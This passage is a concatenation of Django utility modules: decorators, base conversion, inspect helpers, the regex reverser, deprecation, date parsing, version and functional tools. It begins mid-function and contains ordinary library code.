                    "of the decorated class: {0}. Got '{1}' instead".format(
                        obj, name,
                    )
                )
        else:
            func = obj

        def decorate(function):
            """
            Apply a list/tuple of decorators if decorator is one. Decorator
            functions are applied so that the call order is the same as the
            order in which they appear in the iterable.
            """
            if hasattr(decorator, '__iter__'):
                for dec in decorator[::-1]:
                    function = dec(function)
                return function
            return decorator(function)

        def _wrapper(self, *args, **kwargs):
            @decorate
            def bound_func(*args2, **kwargs2):
                return func.__get__(self, type(self))(*args2, **kwargs2)
            # bound_func has the signature that 'decorator' expects i.e.  no
            # 'self' argument, but it is a closure over self so it can call
            # 'func' correctly.
            return bound_func(*args, **kwargs)
        # In case 'decorator' adds attributes to the function it decorates, we
        # want to copy those. We don't have access to bound_func in this scope,
        # but we can cheat by using it on a dummy function.

        @decorate
        def dummy(*args, **kwargs):
            pass
        update_wrapper(_wrapper, dummy)
        # Need to preserve any existing attributes of 'func', including the name.
        update_wrapper(_wrapper, func)

        if is_class:
            setattr(obj, name, _wrapper)
            return obj

        return _wrapper
    # Don't worry about making _dec look similar to a list/tuple as it's rather
    # meaningless.
    if not hasattr(decorator, '__iter__'):
        update_wrapper(_dec, decorator, assigned=available_attrs(decorator))
    # Change the name to aid debugging.
    if hasattr(decorator, '__name__'):
        _dec.__name__ = 'method_decorator(%s)' % decorator.__name__
    else:
        _dec.__name__ = 'method_decorator(%s)' % decorator.__class__.__name__
    return _dec


def decorator_from_middleware_with_args(middleware_class):
    """
    Like decorator_from_middleware, but returns a function
    that accepts the arguments to be passed to the middleware_class.
    Use like::

         cache_page = decorator_from_middleware_with_args(CacheMiddleware)
         # ...

         @cache_page(3600)
         def my_view(request):
             # ...
    """
    return make_middleware_decorator(middleware_class)


def decorator_from_middleware(middleware_class):
    """
    Given a middleware class (not an instance), returns a view decorator. This
    lets you use middleware functionality on a per-view basis. The middleware
    is created with no params passed.
    """
    return make_middleware_decorator(middleware_class)()


def available_attrs(fn):
    """
    Return the list of functools-wrappable attributes on a callable.
    This is required as a workaround for http://bugs.python.org/issue3445
    under Python 2.
    """
    if six.PY3:
        return WRAPPER_ASSIGNMENTS
    else:
        return tuple(a for a in WRAPPER_ASSIGNMENTS if hasattr(fn, a))


def make_middleware_decorator(middleware_class):
    def _make_decorator(*m_args, **m_kwargs):
        middleware = middleware_class(*m_args, **m_kwargs)

        def _decorator(view_func):
            @wraps(view_func, assigned=available_attrs(view_func))
            def _wrapped_view(request, *args, **kwargs):
                if hasattr(middleware, 'process_request'):
                    result = middleware.process_request(request)
                    if result is not None:
                        return result
                if hasattr(middleware, 'process_view'):
                    result = middleware.process_view(request, view_func, args, kwargs)
                    if result is not None:
                        return result
                try:
                    response = view_func(request, *args, **kwargs)
                except Exception as e:
                    if hasattr(middleware, 'process_exception'):
                        result = middleware.process_exception(request, e)
                        if result is not None:
                            return result
                    raise
                if hasattr(response, 'render') and callable(response.render):
                    if hasattr(middleware, 'process_template_response'):
                        response = middleware.process_template_response(request, response)
                    # Defer running of process_response until after the template
                    # has been rendered:
                    if hasattr(middleware, 'process_response'):
                        def callback(response):
                            return middleware.process_response(request, response)
                        response.add_post_render_callback(callback)
                else:
                    if hasattr(middleware, 'process_response'):
                        return middleware.process_response(request, response)
                return response
            return _wrapped_view
        return _decorator
    return _make_decorator


if ContextDecorator is None:
    # ContextDecorator was introduced in Python 3.2
    # See https://docs.python.org/3/library/contextlib.html#contextlib.ContextDecorator
    class ContextDecorator(object):
        """
        A base class that enables a context manager to also be used as a decorator.
        """
        def __call__(self, func):
            @wraps(func, assigned=available_attrs(func))
            def inner(*args, **kwargs):
                with self:
                    return func(*args, **kwargs)
            return inner


class classproperty(object):
    def __init__(self, method=None):
        self.fget = method

    def __get__(self, instance, cls=None):
        return self.fget(cls)

    def getter(self, method):
        self.fget = method
        return self






# Copyright (c) 2010 Guilherme Gondim. All rights reserved.
# Copyright (c) 2009 Simon Willison. All rights reserved.
# Copyright (c) 2002 Drew Perttula. All rights reserved.
#
# License:
#   Python Software Foundation License version 2
#
# See the file "LICENSE" for terms & conditions for usage, and a DISCLAIMER OF
# ALL WARRANTIES.
#
# This Baseconv distribution contains no GNU General Public Licensed (GPLed)
# code so it may be used in proprietary projects just like prior ``baseconv``
# distributions.
#
# All trademarks referenced herein are property of their respective holders.
#

"""
Convert numbers from base 10 integers to base X strings and back again.

Sample usage::

  >>> base20 = BaseConverter('0123456789abcdefghij')
  >>> base20.encode(1234)
  '31e'
  >>> base20.decode('31e')
  1234
  >>> base20.encode(-1234)
  '-31e'
  >>> base20.decode('-31e')
  -1234
  >>> base11 = BaseConverter('0123456789-', sign='$')
  >>> base11.encode('$1234')
  '$-22'
  >>> base11.decode('$-22')
  '$1234'

"""

BASE2_ALPHABET = '01'
BASE16_ALPHABET = '0123456789ABCDEF'
BASE56_ALPHABET = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz'
BASE36_ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyz'
BASE62_ALPHABET = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
BASE64_ALPHABET = BASE62_ALPHABET + '-_'


class BaseConverter(object):
    decimal_digits = '0123456789'

    def __init__(self, digits, sign='-'):
        self.sign = sign
        self.digits = digits
        if sign in self.digits:
            raise ValueError('Sign character found in converter base digits.')

    def __repr__(self):
        return "<BaseConverter: base%s (%s)>" % (len(self.digits), self.digits)

    def encode(self, i):
        neg, value = self.convert(i, self.decimal_digits, self.digits, '-')
        if neg:
            return self.sign + value
        return value

    def decode(self, s):
        neg, value = self.convert(s, self.digits, self.decimal_digits, self.sign)
        if neg:
            value = '-' + value
        return int(value)

    def convert(self, number, from_digits, to_digits, sign):
        if str(number)[0] == sign:
            number = str(number)[1:]
            neg = 1
        else:
            neg = 0

        # make an integer out of the number
        x = 0
        for digit in str(number):
            x = x * len(from_digits) + from_digits.index(digit)

        # create the result in base 'len(to_digits)'
        if x == 0:
            res = to_digits[0]
        else:
            res = ''
            while x > 0:
                digit = x % len(to_digits)
                res = to_digits[digit] + res
                x = int(x // len(to_digits))
        return neg, res

base2 = BaseConverter(BASE2_ALPHABET)
base16 = BaseConverter(BASE16_ALPHABET)
base36 = BaseConverter(BASE36_ALPHABET)
base56 = BaseConverter(BASE56_ALPHABET)
base62 = BaseConverter(BASE62_ALPHABET)
base64 = BaseConverter(BASE64_ALPHABET, sign='$')






from __future__ import absolute_import

import inspect

from django.utils import six


def getargspec(func):
    if six.PY2:
        return inspect.getargspec(func)

    sig = inspect.signature(func)
    args = [
        p.name for p in sig.parameters.values()
        if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD
    ]
    varargs = [
        p.name for p in sig.parameters.values()
        if p.kind == inspect.Parameter.VAR_POSITIONAL
    ]
    varargs = varargs[0] if varargs else None
    varkw = [
        p.name for p in sig.parameters.values()
        if p.kind == inspect.Parameter.VAR_KEYWORD
    ]
    varkw = varkw[0] if varkw else None
    defaults = [
        p.default for p in sig.parameters.values()
        if p.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD and p.default is not p.empty
    ] or None
    return args, varargs, varkw, defaults


def get_func_args(func):
    if six.PY2:
        argspec = inspect.getargspec(func)
        return argspec.args[1:]  # ignore 'self'

    sig = inspect.signature(func)
    return [
        arg_name for arg_name, param in sig.parameters.items()
        if param.kind == inspect.Parameter.POSITIONAL_OR_KEYWORD
    ]


def get_func_full_args(func):
    """
    Return a list of (argument name, default value) tuples. If the argument
    does not have a default value, omit it in the tuple. Arguments such as
    *args and **kwargs are also included.
    """
    if six.PY2:
        argspec = inspect.getargspec(func)
        args = argspec.args[1:]  # ignore 'self'
        defaults = argspec.defaults or []
        # Split args into two lists depending on whether they have default value
        no_default = args[:len(args) - len(defaults)]
        with_default = args[len(args) - len(defaults):]
        # Join the two lists and combine it with default values
        args = [(arg,) for arg in no_default] + zip(with_default, defaults)
        # Add possible *args and **kwargs and prepend them with '*' or '**'
        varargs = [('*' + argspec.varargs,)] if argspec.varargs else []
        kwargs = [('**' + argspec.keywords,)] if argspec.keywords else []
        return args + varargs + kwargs

    sig = inspect.signature(func)
    args = []
    for arg_name, param in sig.parameters.items():
        name = arg_name
        # Ignore 'self'
        if name == 'self':
            continue
        if param.kind == inspect.Parameter.VAR_POSITIONAL:
            name = '*' + name
        elif param.kind == inspect.Parameter.VAR_KEYWORD:
            name = '**' + name
        if param.default != inspect.Parameter.empty:
            args.append((name, param.default))
        else:
            args.append((name,))
    return args


def func_accepts_kwargs(func):
    if six.PY2:
        # Not all callables are inspectable with getargspec, so we'll
        # try a couple different ways but in the end fall back on assuming
        # it is -- we don't want to prevent registration of valid but weird
        # callables.
        try:
            argspec = inspect.getargspec(func)
        except TypeError:
            try:
                argspec = inspect.getargspec(func.__call__)
            except (TypeError, AttributeError):
                argspec = None
        return not argspec or argspec[2] is not None

    return any(
        p for p in inspect.signature(func).parameters.values()
        if p.kind == p.VAR_KEYWORD
    )


def func_accepts_var_args(func):
    """
    Return True if function 'func' accepts positional arguments *args.
    """
    if six.PY2:
        return inspect.getargspec(func)[1] is not None

    return any(
        p for p in inspect.signature(func).parameters.values()
        if p.kind == p.VAR_POSITIONAL
    )


def func_has_no_args(func):
    args = inspect.getargspec(func)[0] if six.PY2 else [
        p for p in inspect.signature(func).parameters.values()
        if p.kind == p.POSITIONAL_OR_KEYWORD
    ]
    return len(args) == 1


def func_supports_parameter(func, parameter):
    if six.PY3:
        return parameter in inspect.signature(func).parameters
    else:
        args, varargs, varkw, defaults = inspect.getargspec(func)
        return parameter in args






"""
Functions for reversing a regular expression (used in reverse URL resolving).
Used internally by Django and not intended for external use.

This is not, and is not intended to be, a complete reg-exp decompiler. It
should be good enough for a large class of URLS, however.
"""
from __future__ import unicode_literals

from django.utils import six
from django.utils.six.moves import zip

# Mapping of an escape character to a representative of that class. So, e.g.,
# "\w" is replaced by "x" in a reverse URL. A value of None means to ignore
# this sequence. Any missing key is mapped to itself.
ESCAPE_MAPPINGS = {
    "A": None,
    "b": None,
    "B": None,
    "d": "0",
    "D": "x",
    "s": " ",
    "S": "x",
    "w": "x",
    "W": "!",
    "Z": None,
}


class Choice(list):
    """
    Used to represent multiple possibilities at this point in a pattern string.
    We use a distinguished type, rather than a list, so that the usage in the
    code is clear.
    """


class Group(list):
    """
    Used to represent a capturing group in the pattern string.
    """


class NonCapture(list):
    """
    Used to represent a non-capturing group in the pattern string.
    """


def normalize(pattern):
    """
    Given a reg-exp pattern, normalizes it to an iterable of forms that
    suffice for reverse matching. This does the following:

    (1) For any repeating sections, keeps the minimum number of occurrences
        permitted (this means zero for optional groups).
    (2) If an optional group includes parameters, include one occurrence of
        that group (along with the zero occurrence case from step (1)).
    (3) Select the first (essentially an arbitrary) element from any character
        class. Select an arbitrary character for any unordered class (e.g. '.'
        or '\w') in the pattern.
    (4) Ignore comments, look-ahead and look-behind assertions, and any of the
        reg-exp flags that won't change what we construct ("iLmsu"). "(?x)" is
        an error, however.
    (5) Raise an error on any disjunctive ('|') constructs.

    Django's URLs for forward resolving are either all positional arguments or
    all keyword arguments. That is assumed here, as well. Although reverse
    resolving can be done using positional args when keyword args are
    specified, the two cannot be mixed in the same reverse() call.
    """
    # Do a linear scan to work out the special features of this pattern. The
    # idea is that we scan once here and collect all the information we need to
    # make future decisions.
    result = []
    non_capturing_groups = []
    consume_next = True
    pattern_iter = next_char(iter(pattern))
    num_args = 0

    # A "while" loop is used here because later on we need to be able to peek
    # at the next character and possibly go around without consuming another
    # one at the top of the loop.
    try:
        ch, escaped = next(pattern_iter)
    except StopIteration:
        return [('', [])]

    try:
        while True:
            if escaped:
                result.append(ch)
            elif ch == '.':
                # Replace "any character" with an arbitrary representative.
                result.append(".")
            elif ch == '|':
                # FIXME: One day we'll should do this, but not in 1.0.
                raise NotImplementedError('Awaiting Implementation')
            elif ch == "^":
                pass
            elif ch == '$':
                break
            elif ch == ')':
                # This can only be the end of a non-capturing group, since all
                # other unescaped parentheses are handled by the grouping
                # section later (and the full group is handled there).
                #
                # We regroup everything inside the capturing group so that it
                # can be quantified, if necessary.
                start = non_capturing_groups.pop()
                inner = NonCapture(result[start:])
                result = result[:start] + [inner]
            elif ch == '[':
                # Replace ranges with the first character in the range.
                ch, escaped = next(pattern_iter)
                result.append(ch)
                ch, escaped = next(pattern_iter)
                while escaped or ch != ']':
                    ch, escaped = next(pattern_iter)
            elif ch == '(':
                # Some kind of group.
                ch, escaped = next(pattern_iter)
                if ch != '?' or escaped:
                    # A positional group
                    name = "_%d" % num_args
                    num_args += 1
                    result.append(Group((("%%(%s)s" % name), name)))
                    walk_to_end(ch, pattern_iter)
                else:
                    ch, escaped = next(pattern_iter)
                    if ch in "iLmsu#!=<":
                        # All of these are ignorable. Walk to the end of the
                        # group.
                        walk_to_end(ch, pattern_iter)
                    elif ch == ':':
                        # Non-capturing group
                        non_capturing_groups.append(len(result))
                    elif ch != 'P':
                        # Anything else, other than a named group, is something
                        # we cannot reverse.
                        raise ValueError("Non-reversible reg-exp portion: '(?%s'" % ch)
                    else:
                        ch, escaped = next(pattern_iter)
                        if ch not in ('<', '='):
                            raise ValueError("Non-reversible reg-exp portion: '(?P%s'" % ch)
                        # We are in a named capturing group. Extra the name and
                        # then skip to the end.
                        if ch == '<':
                            terminal_char = '>'
                        # We are in a named backreference.
                        else:
                            terminal_char = ')'
                        name = []
                        ch, escaped = next(pattern_iter)
                        while ch != terminal_char:
                            name.append(ch)
                            ch, escaped = next(pattern_iter)
                        param = ''.join(name)
                        # Named backreferences have already consumed the
                        # parenthesis.
                        if terminal_char != ')':
                            result.append(Group((("%%(%s)s" % param), param)))
                            walk_to_end(ch, pattern_iter)
                        else:
                            result.append(Group((("%%(%s)s" % param), None)))
            elif ch in "*?+{":
                # Quantifiers affect the previous item in the result list.
                count, ch = get_quantifier(ch, pattern_iter)
                if ch:
                    # We had to look ahead, but it wasn't need to compute the
                    # quantifier, so use this character next time around the
                    # main loop.
                    consume_next = False

                if count == 0:
                    if contains(result[-1], Group):
                        # If we are quantifying a capturing group (or
                        # something containing such a group) and the minimum is
                        # zero, we must also handle the case of one occurrence
                        # being present. All the quantifiers (except {0,0},
                        # which we conveniently ignore) that have a 0 minimum
                        # also allow a single occurrence.
                        result[-1] = Choice([None, result[-1]])
                    else:
                        result.pop()
                elif count > 1:
                    result.extend([result[-1]] * (count - 1))
            else:
                # Anything else is a literal.
                result.append(ch)

            if consume_next:
                ch, escaped = next(pattern_iter)
            else:
                consume_next = True
    except StopIteration:
        pass
    except NotImplementedError:
        # A case of using the disjunctive form. No results for you!
        return [('', [])]

    return list(zip(*flatten_result(result)))


def next_char(input_iter):
    """
    An iterator that yields the next character from "pattern_iter", respecting
    escape sequences. An escaped character is replaced by a representative of
    its class (e.g. \w -> "x"). If the escaped character is one that is
    skipped, it is not returned (the next character is returned instead).

    Yields the next character, along with a boolean indicating whether it is a
    raw (unescaped) character or not.
    """
    for ch in input_iter:
        if ch != '\\':
            yield ch, False
            continue
        ch = next(input_iter)
        representative = ESCAPE_MAPPINGS.get(ch, ch)
        if representative is None:
            continue
        yield representative, True


def walk_to_end(ch, input_iter):
    """
    The iterator is currently inside a capturing group. We want to walk to the
    close of this group, skipping over any nested groups and handling escaped
    parentheses correctly.
    """
    if ch == '(':
        nesting = 1
    else:
        nesting = 0
    for ch, escaped in input_iter:
        if escaped:
            continue
        elif ch == '(':
            nesting += 1
        elif ch == ')':
            if not nesting:
                return
            nesting -= 1


def get_quantifier(ch, input_iter):
    """
    Parse a quantifier from the input, where "ch" is the first character in the
    quantifier.

    Returns the minimum number of occurrences permitted by the quantifier and
    either None or the next character from the input_iter if the next character
    is not part of the quantifier.
    """
    if ch in '*?+':
        try:
            ch2, escaped = next(input_iter)
        except StopIteration:
            ch2 = None
        if ch2 == '?':
            ch2 = None
        if ch == '+':
            return 1, ch2
        return 0, ch2

    quant = []
    while ch != '}':
        ch, escaped = next(input_iter)
        quant.append(ch)
    quant = quant[:-1]
    values = ''.join(quant).split(',')

    # Consume the trailing '?', if necessary.
    try:
        ch, escaped = next(input_iter)
    except StopIteration:
        ch = None
    if ch == '?':
        ch = None
    return int(values[0]), ch


def contains(source, inst):
    """
    Returns True if the "source" contains an instance of "inst". False,
    otherwise.
    """
    if isinstance(source, inst):
        return True
    if isinstance(source, NonCapture):
        for elt in source:
            if contains(elt, inst):
                return True
    return False


def flatten_result(source):
    """
    Turns the given source sequence into a list of reg-exp possibilities and
    their arguments. Returns a list of strings and a list of argument lists.
    Each of the two lists will be of the same length.
    """
    if source is None:
        return [''], [[]]
    if isinstance(source, Group):
        if source[1] is None:
            params = []
        else:
            params = [source[1]]
        return [source[0]], [params]
    result = ['']
    result_args = [[]]
    pos = last = 0
    for pos, elt in enumerate(source):
        if isinstance(elt, six.string_types):
            continue
        piece = ''.join(source[last:pos])
        if isinstance(elt, Group):
            piece += elt[0]
            param = elt[1]
        else:
            param = None
        last = pos + 1
        for i in range(len(result)):
            result[i] += piece
            if param:
                result_args[i].append(param)
        if isinstance(elt, (Choice, NonCapture)):
            if isinstance(elt, NonCapture):
                elt = [elt]
            inner_result, inner_args = [], []
            for item in elt:
                res, args = flatten_result(item)
                inner_result.extend(res)
                inner_args.extend(args)
            new_result = []
            new_args = []
            for item, args in zip(result, result_args):
                for i_item, i_args in zip(inner_result, inner_args):
                    new_result.append(item + i_item)
                    new_args.append(args[:] + i_args)
            result = new_result
            result_args = new_args
    if pos >= last:
        piece = ''.join(source[last:])
        for i in range(len(result)):
            result[i] += piece
    return result, result_args






from __future__ import absolute_import

import inspect
import warnings


class RemovedInDjango20Warning(DeprecationWarning):
    pass


class RemovedInDjango21Warning(PendingDeprecationWarning):
    pass


RemovedInNextVersionWarning = RemovedInDjango20Warning


class warn_about_renamed_method(object):
    def __init__(self, class_name, old_method_name, new_method_name, deprecation_warning):
        self.class_name = class_name
        self.old_method_name = old_method_name
        self.new_method_name = new_method_name
        self.deprecation_warning = deprecation_warning

    def __call__(self, f):
        def wrapped(*args, **kwargs):
            warnings.warn(
                "`%s.%s` is deprecated, use `%s` instead." %
                (self.class_name, self.old_method_name, self.new_method_name),
                self.deprecation_warning, 2)
            return f(*args, **kwargs)
        return wrapped


class RenameMethodsBase(type):
    """
    Handles the deprecation paths when renaming a method.

    It does the following:
        1) Define the new method if missing and complain about it.
        2) Define the old method if missing.
        3) Complain whenever an old method is called.

    See #15363 for more details.
    """

    renamed_methods = ()

    def __new__(cls, name, bases, attrs):
        new_class = super(RenameMethodsBase, cls).__new__(cls, name, bases, attrs)

        for base in inspect.getmro(new_class):
            class_name = base.__name__
            for renamed_method in cls.renamed_methods:
                old_method_name = renamed_method[0]
                old_method = base.__dict__.get(old_method_name)
                new_method_name = renamed_method[1]
                new_method = base.__dict__.get(new_method_name)
                deprecation_warning = renamed_method[2]
                wrapper = warn_about_renamed_method(class_name, *renamed_method)

                # Define the new method if missing and complain about it
                if not new_method and old_method:
                    warnings.warn(
                        "`%s.%s` method should be renamed `%s`." %
                        (class_name, old_method_name, new_method_name),
                        deprecation_warning, 2)
                    setattr(base, new_method_name, old_method)
                    setattr(base, old_method_name, wrapper(old_method))

                # Define the old method as a wrapped call to the new method.
                if not old_method and new_method:
                    setattr(base, old_method_name, wrapper(new_method))

        return new_class


class DeprecationInstanceCheck(type):
    def __instancecheck__(self, instance):
        warnings.warn(
            "`%s` is deprecated, use `%s` instead." % (self.__name__, self.alternative),
            self.deprecation_warning, 2
        )
        return super(DeprecationInstanceCheck, self).__instancecheck__(instance)


class CallableBool:
    """
    An boolean-like object that is also callable for backwards compatibility.
    """
    do_not_call_in_templates = True

    def __init__(self, value):
        self.value = value

    def __bool__(self):
        return self.value

    def __call__(self):
        warnings.warn(
            "Using user.is_authenticated() and user.is_anonymous() as a method "
            "is deprecated. Remove the parentheses to use it as an attribute.",
            RemovedInDjango20Warning, stacklevel=2
        )
        return self.value

    def __nonzero__(self):  # Python 2 compatibility
        return self.value

    def __repr__(self):
        return 'CallableBool(%r)' % self.value

    def __eq__(self, other):
        return self.value == other

    def __ne__(self, other):
        return self.value != other

CallableFalse = CallableBool(False)
CallableTrue = CallableBool(True)


class MiddlewareMixin(object):
    def __init__(self, get_response=None):
        self.get_response = get_response
        super(MiddlewareMixin, self).__init__()

    def __call__(self, request):
        response = None
        if hasattr(self, 'process_request'):
            response = self.process_request(request)
        if not response:
            response = self.get_response(request)
        if hasattr(self, 'process_response'):
            response = self.process_response(request, response)
        return response






"""Functions to parse datetime objects."""

# We're using regular expressions rather than time.strptime because:
# - They provide both validation and parsing.
# - They're more flexible for datetimes.
# - The date/datetime/time constructors produce friendlier error messages.

import datetime
import re

from django.utils import six
from django.utils.timezone import get_fixed_timezone, utc

date_re = re.compile(
    r'(?P<year>\d{4})-(?P<month>\d{1,2})-(?P<day>\d{1,2})$'
)

time_re = re.compile(
    r'(?P<hour>\d{1,2}):(?P<minute>\d{1,2})'
    r'(?::(?P<second>\d{1,2})(?:\.(?P<microsecond>\d{1,6})\d{0,6})?)?'
)

datetime_re = re.compile(
    r'(?P<year>\d{4})-(?P<month>\d{1,2})-(?P<day>\d{1,2})'
    r'[T ](?P<hour>\d{1,2}):(?P<minute>\d{1,2})'
    r'(?::(?P<second>\d{1,2})(?:\.(?P<microsecond>\d{1,6})\d{0,6})?)?'
    r'(?P<tzinfo>Z|[+-]\d{2}(?::?\d{2})?)?$'
)

standard_duration_re = re.compile(
    r'^'
    r'(?:(?P<days>-?\d+) (days?, )?)?'
    r'((?:(?P<hours>\d+):)(?=\d+:\d+))?'
    r'(?:(?P<minutes>\d+):)?'
    r'(?P<seconds>\d+)'
    r'(?:\.(?P<microseconds>\d{1,6})\d{0,6})?'
    r'$'
)

# Support the sections of ISO 8601 date representation that are accepted by
# timedelta
iso8601_duration_re = re.compile(
    r'^(?P<sign>[-+]?)'
    r'P'
    r'(?:(?P<days>\d+(.\d+)?)D)?'
    r'(?:T'
    r'(?:(?P<hours>\d+(.\d+)?)H)?'
    r'(?:(?P<minutes>\d+(.\d+)?)M)?'
    r'(?:(?P<seconds>\d+(.\d+)?)S)?'
    r')?'
    r'$'
)


def parse_date(value):
    """Parses a string and return a datetime.date.

    Raises ValueError if the input is well formatted but not a valid date.
    Returns None if the input isn't well formatted.
    """
    match = date_re.match(value)
    if match:
        kw = {k: int(v) for k, v in six.iteritems(match.groupdict())}
        return datetime.date(**kw)


def parse_time(value):
    """Parses a string and return a datetime.time.

    This function doesn't support time zone offsets.

    Raises ValueError if the input is well formatted but not a valid time.
    Returns None if the input isn't well formatted, in particular if it
    contains an offset.
    """
    match = time_re.match(value)
    if match:
        kw = match.groupdict()
        if kw['microsecond']:
            kw['microsecond'] = kw['microsecond'].ljust(6, '0')
        kw = {k: int(v) for k, v in six.iteritems(kw) if v is not None}
        return datetime.time(**kw)


def parse_datetime(value):
    """Parses a string and return a datetime.datetime.

    This function supports time zone offsets. When the input contains one,
    the output uses a timezone with a fixed offset from UTC.

    Raises ValueError if the input is well formatted but not a valid datetime.
    Returns None if the input isn't well formatted.
    """
    match = datetime_re.match(value)
    if match:
        kw = match.groupdict()
        if kw['microsecond']:
            kw['microsecond'] = kw['microsecond'].ljust(6, '0')
        tzinfo = kw.pop('tzinfo')
        if tzinfo == 'Z':
            tzinfo = utc
        elif tzinfo is not None:
            offset_mins = int(tzinfo[-2:]) if len(tzinfo) > 3 else 0
            offset = 60 * int(tzinfo[1:3]) + offset_mins
            if tzinfo[0] == '-':
                offset = -offset
            tzinfo = get_fixed_timezone(offset)
        kw = {k: int(v) for k, v in six.iteritems(kw) if v is not None}
        kw['tzinfo'] = tzinfo
        return datetime.datetime(**kw)


def parse_duration(value):
    """Parses a duration string and returns a datetime.timedelta.

    The preferred format for durations in Django is '%d %H:%M:%S.%f'.

    Also supports ISO 8601 representation.
    """
    match = standard_duration_re.match(value)
    if not match:
        match = iso8601_duration_re.match(value)
    if match:
        kw = match.groupdict()
        sign = -1 if kw.pop('sign', '+') == '-' else 1
        if kw.get('microseconds'):
            kw['microseconds'] = kw['microseconds'].ljust(6, '0')
        kw = {k: float(v) for k, v in six.iteritems(kw) if v is not None}
        return sign * datetime.timedelta(**kw)






from __future__ import unicode_literals

import datetime
import os
import subprocess

from django.utils.lru_cache import lru_cache


def get_version(version=None):
    "Returns a PEP 440-compliant version number from VERSION."
    version = get_complete_version(version)

    # Now build the two parts of the version number:
    # main = X.Y[.Z]
    # sub = .devN - for pre-alpha releases
    #     | {a|b|rc}N - for alpha, beta, and rc releases

    main = get_main_version(version)

    sub = ''
    if version[3] == 'alpha' and version[4] == 0:
        git_changeset = get_git_changeset()
        if git_changeset:
            sub = '.dev%s' % git_changeset

    elif version[3] != 'final':
        mapping = {'alpha': 'a', 'beta': 'b', 'rc': 'rc'}
        sub = mapping[version[3]] + str(version[4])

    return str(main + sub)


def get_main_version(version=None):
    "Returns main version (X.Y[.Z]) from VERSION."
    version = get_complete_version(version)
    parts = 2 if version[2] == 0 else 3
    return '.'.join(str(x) for x in version[:parts])


def get_complete_version(version=None):
    """Returns a tuple of the django version. If version argument is non-empty,
    then checks for correctness of the tuple provided.
    """
    if version is None:
        from django import VERSION as version
    else:
        assert len(version) == 5
        assert version[3] in ('alpha', 'beta', 'rc', 'final')

    return version


def get_docs_version(version=None):
    version = get_complete_version(version)
    if version[3] != 'final':
        return 'dev'
    else:
        return '%d.%d' % version[:2]


@lru_cache()
def get_git_changeset():
    """Returns a numeric identifier of the latest git changeset.

    The result is the UTC timestamp of the changeset in YYYYMMDDHHMMSS format.
    This value isn't guaranteed to be unique, but collisions are very unlikely,
    so it's sufficient for generating the development version numbers.
    """
    repo_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    git_log = subprocess.Popen(
        'git log --pretty=format:%ct --quiet -1 HEAD',
        stdout=subprocess.PIPE, stderr=subprocess.PIPE,
        shell=True, cwd=repo_dir, universal_newlines=True,
    )
    timestamp = git_log.communicate()[0]
    try:
        timestamp = datetime.datetime.utcfromtimestamp(int(timestamp))
    except ValueError:
        return None
    return timestamp.strftime('%Y%m%d%H%M%S')






import copy
import operator
import warnings
from functools import total_ordering, wraps

from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning


# You can't trivially replace this with `functools.partial` because this binds
# to classes and returns bound instances, whereas functools.partial (on
# CPython) is a type and its instances don't bind.
def curry(_curried_func, *args, **kwargs):
    def _curried(*moreargs, **morekwargs):
        return _curried_func(*(args + moreargs), **dict(kwargs, **morekwargs))
    return _curried


class cached_property(object):
    """
    Decorator that converts a method with a single self argument into a
    property cached on the instance.

    Optional ``name`` argument allows you to make cached properties of other
    methods. (e.g.  url = cached_property(get_absolute_url, name='url') )
    """
    def __init__(self, func, name=None):
        self.func = func
        self.__doc__ = getattr(func, '__doc__')
        self.name = name or func.__name__

    def __get__(self, instance, cls=None):
        if instance is None:
            return self
        res = instance.__dict__[self.name] = self.func(instance)
        return res


class Promise(object):
    """
    This is just a base class for the proxy class created in
    the closure of the lazy function. It can be used to recognize
    promises in code.
    """
    pass


def lazy(func, *resultclasses):
    """
    Turns any callable into a lazy evaluated callable. You need to give result
    classes or types -- at least one is needed so that the automatic forcing of
    the lazy evaluation code is triggered. Results are not memoized; the
    function is evaluated on every access.
    """

    @total_ordering
    class __proxy__(Promise):
        """
        Encapsulate a function call and act as a proxy for methods that are
        called on the result of that function. The function is not evaluated
        until one of the methods on the result is called.
        """
        __prepared = False

        def __init__(self, args, kw):
            self.__args = args
            self.__kw = kw
            if not self.__prepared:
                self.__prepare_class__()
            self.__prepared = True

        def __reduce__(self):
            return (
                _lazy_proxy_unpickle,
                (func, self.__args, self.__kw) + resultclasses
            )

        def __repr__(self):
            return repr(self.__cast())

        @classmethod
        def __prepare_class__(cls):
            for resultclass in resultclasses:
                for type_ in resultclass.mro():
                    for method_name in type_.__dict__.keys():
                        # All __promise__ return the same wrapper method, they
                        # look up the correct implementation when called.
                        if hasattr(cls, method_name):
                            continue
                        meth = cls.__promise__(method_name)
                        setattr(cls, method_name, meth)
            cls._delegate_bytes = bytes in resultclasses
            cls._delegate_text = six.text_type in resultclasses
            assert not (cls._delegate_bytes and cls._delegate_text), (
                "Cannot call lazy() with both bytes and text return types.")
            if cls._delegate_text:
                if six.PY3:
                    cls.__str__ = cls.__text_cast
                else:
                    cls.__unicode__ = cls.__text_cast
                    cls.__str__ = cls.__bytes_cast_encoded
            elif cls._delegate_bytes:
                if six.PY3:
                    cls.__bytes__ = cls.__bytes_cast
                else:
                    cls.__str__ = cls.__bytes_cast

        @classmethod
        def __promise__(cls, method_name):
            # Builds a wrapper around some magic method
            def __wrapper__(self, *args, **kw):
                # Automatically triggers the evaluation of a lazy value and
                # applies the given magic method of the result type.
                res = func(*self.__args, **self.__kw)
                return getattr(res, method_name)(*args, **kw)
            return __wrapper__

        def __text_cast(self):
            return func(*self.__args, **self.__kw)

        def __bytes_cast(self):
            return bytes(func(*self.__args, **self.__kw))

        def __bytes_cast_encoded(self):
            return func(*self.__args, **self.__kw).encode('utf-8')

        def __cast(self):
            if self._delegate_bytes:
                return self.__bytes_cast()
            elif self._delegate_text:
                return self.__text_cast()
            else:
                return func(*self.__args, **self.__kw)

        def __str__(self):
            # object defines __str__(), so __prepare_class__() won't overload
            # a __str__() method from the proxied class.
            return str(self.__cast())

        def __ne__(self, other):
            if isinstance(other, Promise):
                other = other.__cast()
            return self.__cast() != other

        def __eq__(self, other):
            if isinstance(other, Promise):
                other = other.__cast()
            return self.__cast() == other

        def __lt__(self, other):
            if isinstance(other, Promise):
                other = other.__cast()
            return self.__cast() < other

        def __hash__(self):
            return hash(self.__cast())

